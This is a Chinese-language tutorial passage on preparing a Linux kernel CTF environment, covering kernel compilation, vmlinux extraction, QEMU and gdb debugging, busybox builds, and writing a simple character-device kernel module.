make[1]: *** No rule to make target 'debian/canonical-certs.pem', needed by 'certs/x509_certificate_list'.  Stop.
make: *** [Makefile:1868: certs] Error 2

需要编辑 .config 文件,直接把下面这个字符串删掉。
在这里插入图片描述
之后编译可能还会缺少一些依赖,为了尽可能一次成功,先把下面这些装一下。

sudo apt install flex
sudo apt install bison
sudo apt install libelf-dev 
sudo apt install libssl-dev
sudo apt install dwarves
sudo apt install zstd

之后运行下面这条命令进行编译

make bzImage -j4

最后生成的 vmlinux 。
在这里插入图片描述

vmlinux-to-elf

此工具允许从 vmlinux/vmlinuz/bzImage/zImage 内核映像获取完全可分析的 .ELF 文件,其中包含恢复的函数和变量符号。

安装:

sudo apt install python3-pip
sudo pip3 install --upgrade lz4 zstandard git+https://github.com/clubby789/python-lzo@b4e39df
sudo pip3 install --upgrade git+https://github.com/marin-m/vmlinux-to-elf

使用方法:

vmlinux-to-elf <input_kernel.bin> <output_kernel.elf>

与后面两个方法相比,这个方法获取的 vmlinux 带调试符号,不过结构体相关的调试符号只有编译内核可以获得。
在这里插入图片描述

下载镜像

有的内核题可以直接下载下载现有镜像
在这里插入图片描述
使用如下命令列出可下载内核镜像

sudo apt search linux-image-

找到对应版本
在这里插入图片描述

sudo apt download linux-image-unsigned-5.8.0-59-generic

下载下来是一个deb文件,解压有

dpkg -X ./linux-image-unsigned-5.8.0-59-generic_5.8.0-59.66~20.04.1_amd64.deb extract

文件如下

$ tree
.
├── boot
│   └── vmlinuz-5.8.0-59-generic
└── usr
    ├── lib
    │   └── linux
    │       └── triggers
    └── share
        └── doc
            └── linux-image-unsigned-5.8.0-59-generic
                ├── changelog.Debian.gz
                └── copyright

8 directories, 3 files

其中 vmlinuz-5.8.0-59-generic 是压缩版的镜像,需要解压出 vmlinux 。
首先获取 1f 8b 08 00 的偏移:

od -t x1 -A d vmlinuz-5.8.0-59-generic | grep "1f 8b 08 00"

解压,其中 skip 的值为 1f 8b 08 00 的偏移。

dd if=vmlinuz-5.8.0-59-generic bs=1 skip=16808|zcat>vmlinux

bzImage 解压

使用 extract-vmlinux 脚本从 bzImage 获取 vmlinux 。
脚本不长,直接在下面贴一下。

#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011      Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------

check_vmlinux()
{
	# Use readelf to check if it's a valid ELF
	# TODO: find a better to way to check that it's really vmlinux
	#       and not just an elf
	readelf -h $1 > /dev/null 2>&1 || return 1

	cat $1
	exit 0
}

try_decompress()
{
	# The obscure use of the "tr" filter is to work around older versions of
	# "grep" that report the byte offset of the line instead of the pattern.

	# Try to find the header ($1) and decompress from here
	for	pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
	do
		pos=${pos%%:*}
		tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
		check_vmlinux $tmp
	done
}

# Check invocation:
me=${0##*/}
img=$1
if	[ $# -ne 1 -o ! -s "$img" ]
then
	echo "Usage: $me <kernel-image>" >&2
	exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy    gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh'          xy    bunzip2
try_decompress '\135\0\0\0'   xxx   unlzma
try_decompress '\211\114\132' xy    'lzop -d'
try_decompress '\002!L\030'   xxx   'lz4 -d'
try_decompress '(\265/\375'   xxx   unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

运行如下命令就可以解压出 vmlinux 了。

./extract-vmlinux ./bzImage > vmlinux

更快捷的方法是直接用 vmlinux-to-elf 解压,还可以顺便修复符号。

vmlinux-to-elf bzImage vmlinux

gdb 调试

首先需要对 boot.sh 做如下修改:

  • 添加 nokaslr 关闭地址随机化。
  • 添加 -s,因为 qemu 其实提供了调试内核的接口,我们可以在启动参数中添加 -gdb dev 来启动调试服务。最常见的操作为在一个端口监听一个 tcp 连接。 QEMU 同时提供了一个简写的方式 -s,表示 -gdb tcp::1234,即在 1234 端口开启一个 gdbserver。
#!/bin/bash

qemu-system-x86_64 \
  -initrd rootfs.cpio \
  -kernel bzImage \
  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 nokaslr' \
  -enable-kvm \
  -monitor /dev/null -m 64M \
  --nographic \
  -smp cores=1,threads=1 \
  -cpu kvm64,+smep \
  -s

为了加载 babydriver.ko 的符号信息,需要获取其代码段的地址。因此需要修改 init 内容获取 root 权限。

重新打包并启动系统,查询代码段地址。
在这里插入图片描述
另外 lsmod 也可以查询模块加载基址。
在这里插入图片描述
创建 gdb.sh 调试脚本,

#!/bin/sh

gdb -q \
  -ex "file $(find . -name vmlinux)" \
  -ex "add-symbol-file $(find . -name babydriver.ko) 0xffffffffc0000000" \
  -ex "target remote localhost:1234" \
  -ex "b babyopen" \
  -ex "c"

运行 boot.sh 启动 linux ,运行 gdb.sh 附加到 linux,之后运行 exp,成功在断点处断下来。(注意,只有使用 root 权限启动的 gdb 才可以 vmmap 查看内存页映射情况)
在这里插入图片描述

编译 busybox

这个不是做内核题所需的步骤,只是介绍一下内核 pwn 中的文件系统是怎么来的。因为题目提供的文件系统有相关的配置文件,因此以题目提供的文件系统为准。

kernel 题一般采用的是轻量化的 busybox 文件系统。

官网下载 busybox 源码并解压。

之后安装依赖:

sudo apt-get install libncurses5-dev libncursesw5-dev

在 busybox 目录下输入如下命令进入图形界面配置编译选项。

make menuconfig

进入 Settings
在这里插入图片描述

选择静态编译。如果不勾选的话,需要自行配置libc库,这样步骤会很繁琐。
在这里插入图片描述
设置安装目录
在这里插入图片描述
这里我们选择的是 ./rootfs
在这里插入图片描述
最后保存并退出。
在这里插入图片描述
编译文件

make -j4
make install

可以看到生成了 rootfs 文件夹,这就是编译好的文件系统。
在这里插入图片描述

Linux 内核模块

什么是 LKMs

LKMs 称为可加载核心模块(内核模块),其可看作是运行在内核空间的可执行程序,类似于 Linux 下的 ELF,包括:

  • 驱动程序
    • 设备驱动
    • 文件系统驱动
  • 内核拓展模块

LKMs 的文件格式和用户态的可执行程序相同,Linux 下为 ELF ,Windows 下为 exe/dll ,mac 下为 MACH-O ,因此我们可以使用 IDA 等工具来分析内核模块。

模块可以被单独编译,但不能单独运行,它在运行时被链接到内核作为内核的一部分在内核空间运行,这与运行在用户空间的进程不同。

模块通常用来实现一种文件系统,一个驱动程序或者其它内核上层的功能。

Linux 内核之所以提供模块机制,是因为它本身是一个单内核 (monolithic
kernel)。单内核的优点是效率高,因为所有的内容都集合在一起,但缺点是可扩展性和可维护性相对较差,模块机制就是为了弥补这一缺陷。

通常情况下 Kernel 漏洞的发生也常见于加载的 LKMs 出现问题。

相关指令

  • insmod:将制定模块加载到内核中
  • rmmod:从内核中卸载制定模块
  • lsmod:列出已经加载的模块
  • modprobe:添加或删除模块,modprobe在加载模块时会查找依赖关系

文件系统

在Linux系统的视角下,无论是文件、设备、管道、还是目录,进程,甚至是磁盘,套接字等等,一切都可以被抽象成文件,一切都可以使用访问文件的方式进行操作。
图中所示为Linux中虚拟文件系统(VFS)、磁盘/Flash文件系统及一般的设备文件与设备驱动程序之间的关系。
在这里插入图片描述
应用程序和 VFS 之间的接口是系统调用,而 VFS 与文件系统以及设备文件之间的接口是 file_operations 结构体成员函数,这个结构体包含对文件进行打开、关闭、读写、控制的一系列成员函数。

file 结构体

file 结构体代表一个打开的文件,系统中每个打开的文件在内核空间都有一个关联的 struct file 。它由内核在打开文件时创建,并传递给在文件上进行操作的任何函数。在文件的所有实例都关闭后,内核释放这个数据结构。在内核和驱动源代码中,struct file 的指针通常被命名为 filefilp
linux-5.17/include/linux/fs.h: file

struct file {
	union {
		struct llist_node	fu_llist;
		struct rcu_head 	fu_rcuhead;
	} f_u;
	struct path		f_path;
	struct inode		*f_inode;	/* cached value */
	const struct file_operations	*f_op;

	/*
	 * Protects f_ep, f_flags.
	 * Must not be taken from IRQ context.
	 */
	spinlock_t		f_lock;
	enum rw_hint		f_write_hint;
	atomic_long_t		f_count;
	unsigned int 		f_flags;
	fmode_t			f_mode;
	struct mutex		f_pos_lock;
	loff_t			f_pos;
	struct fown_struct	f_owner;
	const struct cred	*f_cred;
	struct file_ra_state	f_ra;

	u64			f_version;
#ifdef CONFIG_SECURITY
	void			*f_security;
#endif
	/* needed for tty driver, and maybe others */
	void			*private_data;

#ifdef CONFIG_EPOLL
	/* Used by fs/eventpoll.c to link all the hooks to this file */
	struct hlist_head	*f_ep;
#endif /* #ifdef CONFIG_EPOLL */
	struct address_space	*f_mapping;
	errseq_t		f_wb_err;
	errseq_t		f_sb_err; /* for syncfs */
} __randomize_layout
  __attribute__((aligned(4)));	/* lest something weird decides that 2 is OK */

inode结构体

VFS inode包含文件访问权限、所有者、组、大小、生成时间、访问时间、最后修改时间等信息。它是Linux管理文件系统的最基本单位,也是文件系统连接任何子目录、文件的桥梁。
include/linux/fs.h: inode

struct inode {
    umode_t         i_mode; // inode的权限
    unsigned short      i_opflags;
    kuid_t          i_uid; // inode所有者的id
    kgid_t          i_gid; // inode所属的群组id
    unsigned int        i_flags;
    ...
    dev_t           i_rdev; // 若是设备文件,此字段将记录设备的设备号
    loff_t          i_size; // inode所代表的文件大小
    struct timespec     i_atime; // inode最近一次的存取时间
    struct timespec     i_mtime; // inode最近一次的修改时间
    struct timespec     i_ctime; // inode的产生时间
    spinlock_t      i_lock; /* i_blocks, i_bytes, maybe i_size */
    unsigned short          i_bytes;
    unsigned int        i_blkbits;
    blkcnt_t        i_blocks; // inode所使用的block数,一个block为512字节
    ...
    union {
        struct pipe_inode_info  *i_pipe;
        struct block_device *i_bdev; // 若是块设备,为其对应的block_device结构体指针
        struct cdev     *i_cdev; // 若是字符设备,为其对应的cdev结构体指针
    };
    ...

查看 /proc/devices 文件可以获知系统中注册的设备,第一列为主设备号,第二列为设备名:

$ cat /proc/devices
Character devices:
  1 mem
  4 /dev/vc/0
  4 tty
  4 ttyS
  5 /dev/tty
  5 /dev/console
  5 /dev/ptmx
  ...
Block devices:
259 blkext
  7 loop
  8 sd
  9 md
 11 sr
 65 sd
 ...

查看 /dev 目录可以获知系统中包含的设备文件,日期前的两列对应设备的主设备号和次设备号:

$ ls -al /dev
total 0
drwxr-xr-x    8 root     root          2940 May  8 14:17 .
drwxr-xr-x   11 root     root             0 May  8 14:18 ..
drwxr-xr-x    2 root     root            60 May  8 14:17 bsg
crw-rw----    1 root     root        5,   1 May  8 14:17 console

主设备号是与驱动对应的概念,同一类设备一般用相同的主设备号,不同类设备的主设备号一般不同。

内核模块开发

Hello World模块

编写一个输出内容的内核模块

首先在内核源码目录下创建一个用于编译内核模块的文件夹,这里我创建的文件夹的名称是 myko
在该目录下创建 myko.c ,内容如下:

#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>

MODULE_LICENSE("Dual BSD/GPL");

static int hello_init(void) {
    printk("Hello, world!\n");
    return 0;
}

static void hello_exit(void) {
    printk("Goodbye, cruel world!\n");
}

module_init(hello_init);
module_exit(hello_exit);
  • linux/module.hLinux内核模块变成必须包含的头文件

  • 头文件kernel.h包含了常用的内核函数

  • 头文件init.h包含了宏_init_exit,它们允许释放内核占用的内存。

  • hello_init函数是模块初始化函数,他会在内核模块被加载的时候执行,使用__init进行修饰,一般用它来初始化数据结构等内容;

  • hello_exit函数是模块的退出函数,他会在模块在退出的时候执行。

  • 函数module_init()clearnup_exit()是模块编程中最基本也是必须得两个函数,它用来指定模块加载和退出时调用的函数,这里加载的是我们上面定义好的两个函数,module_init()向内核注册模块提供新功能,而cleanup_exit()注销由模块提供的所用功能。

  • 这段代码中使用了printk函数,这是内核打印函数,可以使用dmesg指令来看到内核打印信息。

创建 Makefile ,内容如下:

obj-m := myko.o

KERNELDR := ~/Desktop/linux-5.17/

PWD := $(shell pwd)

modules:  
	$(MAKE) -C $(KERNELDR) M=$(PWD) modules

moduels_install:
	$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install

clean:  
	rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

编译
在这里插入图片描述
生成 myko.ko 驱动
在这里插入图片描述
参考环境搭建,将其打包到文件系统中,然后启动系统。

可以看到,模块运行正常。
在这里插入图片描述

带参数的模块

myko.c 内容修改为:

#include<linux/init.h>
#include<linux/module.h>
#include<linux/moduleparam.h>

MODULE_LICENSE("Dual BSD/GPL");

static char *whom = "world";
static int howmany = 1;
module_param(howmany, int, S_IRUGO);
module_param(whom, charp, S_IRUGO);

static int hello_init(void) {
    int i;
    for (i = 0; i < howmany; i++)
        printk("(%d) Hello, %s\n", i, whom);
    return 0;
}

static void hello_exit(void) {
    printk("Goodbye, cruel world\n");
}

module_init(hello_init);
module_exit(hello_exit);

参数必须使用module_param宏来声明,这个宏在moduleparam.h中定义。module_param需要三个参数:变量的名称、类型以及用于sysfs入口项的访问许可掩码,这个宏必须放在任何函数之外,通常在源文件头部。
在这里插入图片描述

字符设备驱动

字符设备驱动结构

cdev 结构体

cdev 为 linux 描述字符设备的一个结构。
include/linux/cdev.h

struct cdev {
    struct kobject kobj;         // 内嵌的kobject对象
    struct module *owner;        // 所属模块
    struct file_operations *ops; // 文件操作结构体
    struct list_head list;
    dev_t dev;                   // 设备号
    unsigned int count;
}

dev_t 定义了设备号,为 32 位,其中 12 位为主设备号,20 位为次设备号。下面的宏可以获得主设备号和次设备号:

MAJOR(dev_t dev)
MINOR(dev_t dev)

使用下面的宏可以用主设备号和次设备号生成 dev_t :

MKDEV(int major, int minor)

Linux 内核提供了一组函数用于操作 cdev 结构体:

void cdev_init(struct cdev *, struct file_operations *); // 用于初始化cdev的成员,并建立cdev和file_operations之间的连接
struct cdev *cdev_alloc(void); // 用于动态申请一个cdev内存
void cdev_put(struct cdev *p);
// 用向系统添加和删除一个cdev,完成字符设备的注册和注销
int cdev_add(struct cdev *, dev_t, unsigned); // 通常在字符设备驱动模块加载函数中调用
void cdev_del(struct cdev *); // 字符设备驱动模块卸载函数中调用

在调用 cdev_add() 函数向系统注册字符设备之前,应首先调用 register_chrdev_region()alloc_chrdev_region() 函数向系统申请设备号:

int register_chrdev_region(dev_t from, unsigned count, const char *name);
int alloc_chrdev_region(dev_t *dev, unsigned baseminor, unsigned count, const char *name);

register_chrdev_region() 函数用于已知起始设备的设备号的情况,而 alloc_chrdev_region() 用于设备号未知,向系统动态申请未被占用的设备号的情况。

file_operations 结构体

file_operations 结构体中的成员函数是字符设备驱动程序设计的主体内容,这些函数实际会在应用程序进行 Linux 的 open()write()read()close() 等系统调用时最终被内核调用。
include/linux/fs.h: file_operations

struct file_operations {
    struct module *owner;
    loff_t (*llseek) (struct file *, loff_t, int);
    ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
    ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
    ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
    ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
    int (*readdir) (struct file *, void *, filldir_t);
    unsigned int (*poll) (struct file *, struct poll_table_struct *);
    long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
    long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
    int (*mmap) (struct file *, struct vm_area_struct *);
    int (*open) (struct inode *, struct file *);
    int (*flush) (struct file *, fl_owner_t id);
    int (*release) (struct inode *, struct file *);
    int (*fsync) (struct file *, loff_t, loff_t, int datasync);
    int (*aio_fsync) (struct kiocb *, int datasync);
    int (*fasync) (int, struct file *, int);
    int (*lock) (struct file *, int, struct file_lock *);
    ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
    unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
    int (*check_flags)(int);
    int (*flock) (struct file *, int, struct file_lock *);
    ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
    ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
    int (*setlease)(struct file *, long, struct file_lock **);
    long (*fallocate)(struct file *file, int mode, loff_t offset,
              loff_t len);
    int (*show_fdinfo)(struct seq_file *m, struct file *f);
};

下面对 file_operations 结构体中的主要成员简要介绍:
llseek() 函数用来修改一个文件的当前读写位置,并将新位置返回,在出错时,这个函数返回一个负值。
read() 函数用来从设备中读取数据,成功时函数返回读取的字节数,出错时返回一个负值。
write() 函数向设备发送数据,成功时该函数返回写入的字节数。如果次函数未被实现,当用户进行 write() 系统调用时,将得到 -EINVAL 返回值。
unlocked_ioctl() 提供设备相关控制命令的实现,当调用成功时,返回给调用程序一个非负值。

字符设备驱动组成

这里以一个简单的内存读写驱动为例。

头文件、宏及设备结构体
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

MODULE_LICENSE("Dual BSD/GPL");

#define MAX_SIZE 0x1000
#define MEM_CLEAR 0x1

static int hello_major = 230;
static int hello_minor = 0;

module_param(hello_major, int, S_IRUGO);
module_param(hello_minor, int, S_IRUGO);

struct hello_dev {
    struct cdev cdev;
    unsigned char mem[MAX_SIZE];
} * hello_devp;
加载与卸载设备驱动
static int __init hello_init(void) {
    int ret;
    dev_t devno = MKDEV(hello_major, hello_minor);
    if (hello_major)
        ret = register_chrdev_region(devno, 1, "myko");
    else {
        ret = alloc_chrdev_region(&devno, 0, 1, "myko");
        hello_major = MAJOR(devno);
    }
    if (ret < 0) return ret;
    hello_devp = kzalloc(sizeof(struct hello_dev), GFP_KERNEL);
    if (!hello_devp) {
        unregister_chrdev_region(devno, 1);
        return -ENOMEM;
    }
    cdev_init(&hello_devp->cdev, &hello_fops);
    hello_devp->cdev.owner = THIS_MODULE;
    int err = (int) cdev_add(&hello_devp->cdev, devno, 1);
    if (err) printk("[-] Error %d adding myko %d\n", err, hello_minor);
    return 0;
}
module_init(hello_init);

static void __exit hello_exit(void) {
    cdev_del(&hello_devp->cdev);
    kfree(hello_devp);
    unregister_chrdev_region(MKDEV(hello_major, hello_minor), 1);
}
module_exit(hello_exit);

cdev_init 初始化 cdev 结构体,其中与驱动的 cdev 关联的 file_operations 结构体如下:

static const struct file_operations hello_fops = {
        .owner = THIS_MODULE,
        .llseek = hello_llseek,
        .read = hello_read,
        .write = hello_write,
        .unlocked_ioctl = hello_ioctl,
        .open = hello_open,
        .release = hello_releace,
};
使用文件私有数据

大多数Linux驱动遵循一个”潜规则”,那就是将文件的私有数据 private_data 指向设备结构体,再用 read()write()ioctl()llseek() 等函数通过 private_data 访问设备结构体。

static int hello_open(struct inode *id, struct file *filp) {
    filp->private_data = hello_devp;
    return 0;
}

static int hello_releace(struct inode *id, struct file *filp) {
    filp->private_data = NULL;
    return 0;
}
读写函数
static ssize_t hello_read(struct file *filp, char __user *buf, size_t size, loff_t *pos) {
    if (*pos >= MAX_SIZE) return 0;
    unsigned int count = (unsigned int) size;
    struct hello_dev *dev = filp->private_data;
    if (count > MAX_SIZE - *pos) count = MAX_SIZE - *pos;
    if (copy_to_user(buf, dev->mem + *pos, count))
        return -EFAULT;
    *pos += count;
    printk("[+] Read %u bytes(s) from %llu\n", count, *pos);
    return count;
}

static ssize_t hello_write(struct file *filp, const char __user *buf, size_t size, loff_t *pos) {
    if (*pos >= MAX_SIZE) return 0;
    unsigned int count = (unsigned int) size;
    struct hello_dev *dev = filp->private_data;
    if (count > MAX_SIZE - *pos) count = MAX_SIZE - *pos;
    if (copy_from_user(dev->mem + *pos, buf, count))
        return -EFAULT;
    *pos += count;
    printk("[+] Written %u bytes(s) from %llu\n", count, *pos);
    return count;
}

由于用户空间不能直接访问内核空间的内存,因此借助了函数 copy_from_user() 完成用户空间缓冲区到内核空间的复制,copy_to_user() 完成内核空间到用户空间缓冲区的复制。它们的原型如下:

unsigned long copy_from_user(void *to, const void __user *from, unsigned long count);
unsigned long copy_to_user(void __user *to, const void *from, unsigned long count);

完全复制成功返回值为 0 ,如果复制失败,则返回负值。
读和写函数中的 __user 是一个宏,表明其后的指针指向用户空间,实际上更多地充当了代码自注释功能。

seek函数

seek() 函数对文件定位的起始地址可以是文件开头(SEEK_SET,0)、当前位置(SEEK_CUR,1)和文件尾(SEEK_END,2),这里只实现了支持从文件开头和当前位置的相对偏移。

static loff_t hello_llseek(struct file *filp, loff_t offset, int op) {
    if (op != 0 && op != 1) return -EINVAL;
    if (op == 1) offset += filp->f_pos;
    if (offset < 0 || offset > MAX_SIZE) return -EINVAL;
    return filp->f_pos = offset;
}
ioctl函数

用来自定义的函数,这里自定义了清内存的函数。

static long hello_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
    struct hello_dev *dev = filp->private_data;
    if (dev == NULL) {
        printk("[-] No device\n");
        return -EINVAL;
    }
    switch (cmd) {
        case MEM_CLEAR:
            memset(dev->mem, 0, sizeof(dev->mem));
            printk("[+] Clear success\n");
            break;
        default:
            printk("[-] Error command\n");
            return -EINVAL;
    }
    return 0;
}

完整代码

#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

MODULE_LICENSE("Dual BSD/GPL");

#define MAX_SIZE 0x1000
#define MEM_CLEAR 0x1
static int hello_major = 230;
static int hello_minor = 0;

module_param(hello_major, int, S_IRUGO);
module_param(hello_minor, int, S_IRUGO);

struct hello_dev {
    struct cdev cdev;
    unsigned char mem[MAX_SIZE];
} * hello_devp;

static int hello_open(struct inode *id, struct file *filp);
static int hello_releace(struct inode *id, struct file *filp);
static long hello_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
static ssize_t hello_read(struct file *filp, char __user *buf, size_t size, loff_t *pos);
static ssize_t hello_write(struct file *filp, const char __user *buf, size_t size, loff_t *pos);
static loff_t hello_llseek(struct file *filp, loff_t offset, int op);

static const struct file_operations hello_fops = {
        .owner = THIS_MODULE,
        .llseek = hello_llseek,
        .read = hello_read,
        .write = hello_write,
        .unlocked_ioctl = hello_ioctl,
        .open = hello_open,
        .release = hello_releace,
};

static int __init hello_init(void) {
    int ret;
    dev_t devno = MKDEV(hello_major, hello_minor);
    if (hello_major)
        ret = register_chrdev_region(devno, 1, "myko");
    else {
        ret = alloc_chrdev_region(&devno, 0, 1, "myko");
        hello_major = MAJOR(devno);
    }
    if (ret < 0) return ret;
    hello_devp = kzalloc(sizeof(struct hello_dev), GFP_KERNEL);
    if (!hello_devp) {
        unregister_chrdev_region(devno, 1);
        return -ENOMEM;
    }
    cdev_init(&hello_devp->cdev, &hello_fops);
    hello_devp->cdev.owner = THIS_MODULE;
    int err = (int) cdev_add(&hello_devp->cdev, devno, 1);
    if (err) printk("[-] Error %d adding myko %d\n", err, hello_minor);
    return 0;
}
module_init(hello_init);

static void __exit hello_exit(void) {
    cdev_del(&hello_devp->cdev);
    kfree(hello_devp);
    unregister_chrdev_region(MKDEV(hello_major, hello_minor), 1);
}
module_exit(hello_exit);

static int hello_open(struct inode *id, struct file *filp) {
    filp->private_data = hello_devp;
    return 0;
}

static int hello_releace(struct inode *id, struct file *filp) {
    filp->private_data = NULL;
    return 0;
}

static long hello_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
    struct hello_dev *dev = filp->private_data;
    if (dev == NULL) {
        printk("[-] No device\n");
        return -EINVAL;
    }
    switch (cmd) {
        case MEM_CLEAR:
            memset(dev->mem, 0, sizeof(dev->mem));
            printk("[+] Clear success\n");
            break;
        default:
            printk("[-] Error command\n");
            return -EINVAL;
    }
    return 0;
}

static ssize_t hello_read(struct file *filp, char __user *buf, size_t size, loff_t *pos) {
    if (*pos >= MAX_SIZE) return 0;
    unsigned int count = (unsigned int) size;
    struct hello_dev *dev = filp->private_data;
    if (count > MAX_SIZE - *pos) count = MAX_SIZE - *pos;
    if (copy_to_user(buf, dev->mem + *pos, count))
        return -EFAULT;
    *pos += count;
    printk("[+] Read %u bytes(s) from %llu\n", count, *pos);
    return count;
}

static ssize_t hello_write(struct file *filp, const char __user *buf, size_t size, loff_t *pos) {
    if (*pos >= MAX_SIZE) return 0;
    unsigned int count = (unsigned int) size;
    struct hello_dev *dev = filp->private_data;
    if (count > MAX_SIZE - *pos) count = MAX_SIZE - *pos;
    if (copy_from_user(dev->mem + *pos, buf, count))
        return -EFAULT;
    *pos += count;
    printk("[+] Written %u bytes(s) from %llu\n", count, *pos);
    return count;
}

static loff_t hello_llseek(struct file *filp, loff_t offset, int op) {
    if (op != 0 && op != 1) return -EINVAL;
    if (op == 1) offset += filp->f_pos;
    if (offset < 0 || offset > MAX_SIZE) return -EINVAL;
    return filp->f_pos = offset;
}

验证

/ # insmod myko.ko 
[   17.837662] myko: loading out-of-tree module taints kernel.
[   17.840020] myko: module verification failed: signature and/or required key l
/ # [   17.887877] random: fast init done
/ # lsmod
myko 16384 0 - Live 0xffffffffc002e000 (OE)
/ # mknod /dev/myko c 230 0 #创建设备节点,c表明是字符设备,230是主设备号,0是次设备号
/ # chmod 777 /dev/myko 
/ # echo "hello,world!" > /dev/myko 
[  103.447740] [+] Written 13 bytes(s) from 13
/ # cat dev/myko 
[  111.699740] [+] Read 4096 bytes(s) from 4096
hello,world!
Logo

更多推荐